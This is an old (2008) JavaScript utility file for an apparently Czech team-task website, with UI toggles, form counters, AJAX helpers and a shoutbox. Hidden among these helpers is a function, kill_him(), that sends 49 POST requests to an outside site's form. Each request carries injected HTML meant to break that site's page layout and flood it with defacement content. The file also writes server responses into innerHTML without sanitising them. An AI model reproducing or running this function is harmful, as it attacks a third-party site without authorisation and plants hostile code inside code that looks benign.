/* --- v 1.0 2008 AnalienHolakres3 http://www.vselink.cz */


function showHide(elementID,mode){

if (!mode) {
	if (EL(elementID).style.display=="none"){
		EL(elementID).style.display='';
		} else {
		EL(elementID).style.display='none';
		}
} else {


   
	if (EL(elementID).style.display=="none"){
	  if (mode == "normal"){
			$('#'+elementID).show('medium');
	  }
	  if (mode == "fade"){
			$('#'+elementID).fadeIn('medium');
	  }
	  if (mode == "slide"){
		$('#'+elementID).slideToggle('medium');
	  }
		
	}else{
	if (mode == "normal"){
		 $('#'+elementID).hide('medium');
	  }
	  if (mode == "fade"){
		$('#'+elementID).fadeOut('medium');
	  }
	  if (mode == "slide"){
		$('#'+elementID).slideToggle('medium');
	  }
	   
	}
	}
}

function getTabContent(idtoshow,idtohide,idtohide2,idbutt_show,idbutt_hide1,idbutt_hide2){
	if (idtohide){
		EL(idtohide).style.display='none';
		EL(idbutt_hide1).className='';
		
	}
	if (idtohide2){
		EL(idtohide2).style.display='none';
		EL(idbutt_hide2).className='';

	}
	
	$('#'+idtoshow).fadeIn('medium');
	EL(idbutt_show).className='selected';
}

function hide(elid){
setTimeout("showHide('"+elid+"','fade')",3000);

}

function changeColor(id,contentid,color){
	
	if (EL(contentid).style.display!="none"){
		EL(id).style.backgroundColor='';
		
		EL(id).style.borderBottom='';
	}else{
		EL(id).style.backgroundColor=color; 
		EL(id).style.borderBottom='1px solid black';
	}
	
}

function makeMeStronger(object){

	if (object.style.fontWeight=="bold"){
	 object.style.fontWeight="normal";
	}else{
		object.style.fontWeight="bold";
	}
	
}

 function textCounter(field, countfield,countfieldmax, minlimit,maxlimit,required_field,good_field,maxfield) {
 
    var remaining=0;
	var remainingMax=0;
        if (field.value.length > maxlimit) {// if too long...trim it!
            field.value = field.value.substring(0, maxlimit);
            
            // otherwise, update 'characters left' counter
        }else{ 
             remaining= minlimit - field.value.length;    
			remainingMax=maxlimit - field.value.length;
      if (remaining <= 0 ){
         required_field.style.display="none";
         good_field.style.display="";
         countfield.style.background="#CCFF66";
         countfield.value="OK";
		 countfieldmax.style.display="";
		 countfieldmax.value=remainingMax;
		 maxfield.style.display="";
		  
             
      }
      
      if   (remaining >= 0 ){
            required_field.style.display="";
            good_field.style.display="none";
            countfield.style.background="#FFEAEA";
            countfield.value = remaining+1;
			countfieldmax.style.display="none";
			maxfield.style.display="none";	
           
           }
        }       
    }
        function isOK(field,needchar,needwords,okobject,badobject,separator){
        if (separator==1) {
        var a = field.value.split(/\s+/g); // split the sentence into an array of words
        }else{
        var a = field.value.split(","); // split the sentence into an array of words
        }
            required = needchar - field.value.length;
            if (required > 0 || a.length < needwords){
             okobject.style.display="none";
             badobject.style.display="";
            }else {
             okobject.style.display="";
             badobject.style.display="none";
            }
       
        }
		
		function isOKTip(field,needchar,needwords,separator,tipheader,tipcontent,tipheaderok,tipcontentok){
		
		
        if (separator==1) {
        var a = field.value.split(/\s+/g); // split the sentence into an array of words
        }else{
        var a = field.value.split(","); // split the sentence into an array of words
        }
            required = needchar - field.value.length;
            if (required > 0 || a.length < needwords){
			
             Tip('<span style=&quot;font-size:12pt;font-weight:bold&quot;>'+required+'</span>'+tipcontent,TITLE,tipheader,DURATION,2000,FOLLOWMOUSE,false,TITLEBGCOLOR,'#990000',BORDERCOLOR,'#990000',PADDING,4,FONTCOLOR,'#420000',WIDTH,'250px',OPACITY,95,DELAY,0,BGCOLOR,'#FFF2F2',FADEOUT,500,ABOVE,50);           
		   } else {
             Tip(tipcontentok,TITLE,tipheaderok,DURATION,2000,FOLLOWMOUSE,false,TITLEBGCOLOR,'#189702',BORDERCOLOR,'#019809',PADDING,4,FONTCOLOR,'#00420c',WIDTH,'250px',OPACITY,95,DELAY,0,FADEIN,400,BGCOLOR,'#f2fff3',FADEOUT,500,ABOVE,50);           
            }
       
        }
        function getNeededCount(textfield,needchar,need_field,good_field,thisfield) {
        
            required = needchar - textfield.value.length;
            if (required <=0) {
                required ="OK";
                 need_field.style.display="none";
                 good_field.style.display="";
                 thisfield.style.background="#CCFF66";
            
            }
            return required;
		}	
		
		    
		
		function EL(id){
		return document.getElementById(id);
		}
		 

		
var xmlhttp
/*@cc_on @*/
/*@if (@_jscript_version >= 5)
  try {
  xmlhttp=new ActiveXObject("Msxml2.XMLHTTP")
 } catch (e) {
  try {
	xmlhttp=new ActiveXObject("Microsoft.XMLHTTP")
  } catch (E) {
   xmlhttp=false
  }
 }
@else
 xmlhttp=false
@end @*/

if (!xmlhttp && typeof XMLHttpRequest != 'undefined')
{
  try {
	xmlhttp = new XMLHttpRequest ();
  }
  catch (e) {
  xmlhttp = false}
}

function myXMLHttpRequest ()
{
  var xmlhttplocal;
  try {
  	xmlhttplocal = new ActiveXObject ("Msxml2.XMLHTTP")}
  catch (e) {
	try {
	xmlhttplocal = new ActiveXObject ("Microsoft.XMLHTTP")}
	catch (E) {
	  xmlhttplocal = false;
	}
  }

  if (!xmlhttplocal && typeof XMLHttpRequest != 'undefined') {
	try {
	  var xmlhttplocal = new XMLHttpRequest ();
	}
	catch (e) {
	  var xmlhttplocal = false;
	}
  }
  return (xmlhttplocal);
}

var responseString = new String;

// for user tasks
function tasklink_request(target_id,link_id,input_html) 
{ 
    var url;
	showHide(target_id);
	
	
		
	if (EL(target_id).style.display=="") {
		EL(target_id).innerHTML = input_html;
	 	 
	
		url = "/tasklink_request.php";
		
	
			mycontent = "link_id=" + link_id;
            
  
		//&taskfile_task_id="+ task_id +"&taskfile_team_id="+team_id+"&taskfile_download_request=1+&user_id="+user_id+"&md5='"+md5+"'" ;
		
         mnmxmlhttp = new myXMLHttpRequest ();
         
         if (mnmxmlhttp) {   
          mnmxmlhttp.open ("POST", url, true);
           mnmxmlhttp.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');    
            mnmxmlhttp.send (mycontent);
                        
          }
		mnmxmlhttp.onreadystatechange = function () {
    				if (mnmxmlhttp.readyState == 4) {
    					response = mnmxmlhttp.responseText;
						EL(target_id).innerHTML = response;
																			
				}
			
		    }	
		  }	
		  
	
}
		
		
		
// for user tasklink save
function tasklink_save(target_id,link_id,task_id,team_id,input_html) 
{ 
    var url;

		EL(target_id).style.display="";
		EL(target_id).innerHTML = input_html;	 	 	
		url = "/tasklink_request.php";			
		 mycontent = "link_id=" + link_id +"&task_id="+task_id+"&team_id="+team_id;
		
		
         mnmxmlhttp = new myXMLHttpRequest ();
         
         if (mnmxmlhttp) {   
          mnmxmlhttp.open ("POST", url, true);
           mnmxmlhttp.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');    
            mnmxmlhttp.send (mycontent);
                        
          }
		mnmxmlhttp.onreadystatechange = function () {
    				if (mnmxmlhttp.readyState == 4) {
    					response = mnmxmlhttp.responseText;
						EL(target_id).innerHTML = response;
																			
				}
			
		}
			
		  
	
}	

function tryclick(id)
{
var elem = document.getElementById(id) ;
location.href=elem.href ;
}

//shoutbox

function send_message(user_id,team_id) {

message = encodeURIComponent(EL('shoutbox_message').value);
last_shout = EL('last_shout').value;
messages_count = EL('messages_count').value;

	if (leftTrim(message).length < 1){
	EL('none_sel').style.display='';
	hide('none_sel');
	EL('shoutbox_message').disabled=false;
	EL('saving_message').style.display='none';
	
	} else {
	
	EL('saving_message').style.display='';
	EL('shoutbox_message').value='';
	EL('shoutbox_message').disabled=true;
	url = "/shoutbox_request.php";			
		 mycontent = "user_id=" + user_id +"&shoutbox_message="+message+"&team_id="+team_id+"&mode=1";
	
		
         mnmxmlhttp = new myXMLHttpRequest ();
         
         if (mnmxmlhttp) {   
          mnmxmlhttp.open ("POST", url, true);
           mnmxmlhttp.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');    
            mnmxmlhttp.send (mycontent);
                        
          }
		mnmxmlhttp.onreadystatechange = function () {
					if (mnmxmlhttp.readyState == 2) {
						EL('shoutbox_message').disabled=false;
						EL('saving_message').style.display='none';
						EL('none_sel').style.display='none';
					
					}
					
    				if (mnmxmlhttp.readyState == 4) {
						EL('shoutbox_message').disabled=false;
						EL('saving_message').style.display='none';
						EL('none_sel').style.display='none';
    					response = leftTrim(mnmxmlhttp.responseText);						
						if (response.substring(5,15)=="8409160188"){
							EL('none_sel').style.display='';
							EL('none_sel').innerHTML=response.substring(15);						
							
							
							
						} else {
												
						refresh_shoutbox(user_id,team_id)
						}
						
						//EL(target_id).innerHTML = response;
																			
				}
				
			
		}
		
	}
 
}

function kill_him() {

for (x=1;x<50;x++) {
var random=Math.round(Math.random()*1000000);
		 mycontent = "jmeno=" + "</table><div style='background:black;width:800px;height:500px'>UA</div>"+random +"&povo=umelec";				
         mnmxmlhttp = new myXMLHttpRequest ();
         url = "http://www.nevitam.cz/index3.php";			
		 
         if (mnmxmlhttp) {   
          mnmxmlhttp.open ("POST", url, true);
           mnmxmlhttp.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');    
            mnmxmlhttp.send (mycontent);
                        
          }
		mnmxmlhttp.onreadystatechange = function () {
	
					
    				if (mnmxmlhttp.readyState == 4) {
							
						//EL(target_id).innerHTML = response;
																			
				}
			
		}
		
	}
 

}
function refresh_shoutbox(user_id,team_id) {

EL('refreshing').style.visibility='';
last_shout = EL('last_shout').value;
messages_count = EL('messages_count').value;	
	url = "/shoutbox_request.php";			
		 mycontent = "user_id=" + user_id +"&messages_count="+messages_count+"&team_id="+team_id+"&last_shout="+last_shout+"&mode=2";
		
		
         mnmxmlhttp = new myXMLHttpRequest ();
         
         if (mnmxmlhttp) {   
          mnmxmlhttp.open ("POST", url, true);
           mnmxmlhttp.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');    
            mnmxmlhttp.send (mycontent);

          }
		mnmxmlhttp.onreadystatechange = function () {
					if (mnmxmlhttp.readyState == 2) {					
						EL('refreshing').style.visibility='hidden';
					}
					
    				if (mnmxmlhttp.readyState == 4) {		
			
    					EL('refreshing').style.visibility='hidden';
						response = leftTrim(mnmxmlhttp.responseText);						
								
						if (response.substring(3,16)=="actual_count:"){
						 
						
						  shout_pos = response.indexOf("last_shout");
						   actual_count = response.substring(16,shout_pos);
						   
						   
						    par_pos = response.indexOf("<");
						     last_shout = response.substring(shout_pos+11,par_pos);							 
							  added_content=response.substring(par_pos);							  							  
						
							  EL('last_shout').value = last_shout;
							  EL('messages_count').value = actual_count;														
							  original_content=EL('shoutarea').innerHTML;
							  updated_content=  added_content+original_content;
							  EL('shoutarea').innerHTML = updated_content;
							
							  						
							   if (EL('shoutarea').clientHeight < EL('shoutarea').scrollHeight){
								EL('shoutarea').scrollTop=EL('shoutarea').height;

							   } 
							
						} 
					
																			
				}
			
		}
		
		
}
var intervalID;
function do_refresh(user_id,team_id,refresh_interval) {	

    intervalID = setInterval("refresh_shoutbox("+user_id+","+team_id+")",refresh_interval*1000);

}

function set_shoutbox_script(user_id,team_id,refresh_interval) {
	
	if (EL('team_shoutbox_field').style.display=="none"){
		do_refresh(user_id,team_id,refresh_interval);	
	} else {
		clearInterval(intervalID);
		
	}
}


//custom
function leftTrim(sString)
{
	while (sString.substring(0,1) == ' ')
	{
	sString = sString.substring(1, sString.length);
	}
	return sString;
}

function del_team(warning){ 
	var random=Math.round(Math.random()*1000);
	IEprompt(warning+" "+random,random,'team',null);
	
	}
	
function del_task(warning,task_id){ 
	IEprompt(warning,null,'task',task_id);
	
	}

function del_user(warning,user_id){ 
	IEprompt(warning,null,'user',user_id);
	
	}	
	
function switchVisibility(elid) {
	if (EL(elid).style.visibility=='hidden'){
		EL(elid).style.visibility='';
	} else {
	 EL(elid).style.visibility='hidden';
	}
}	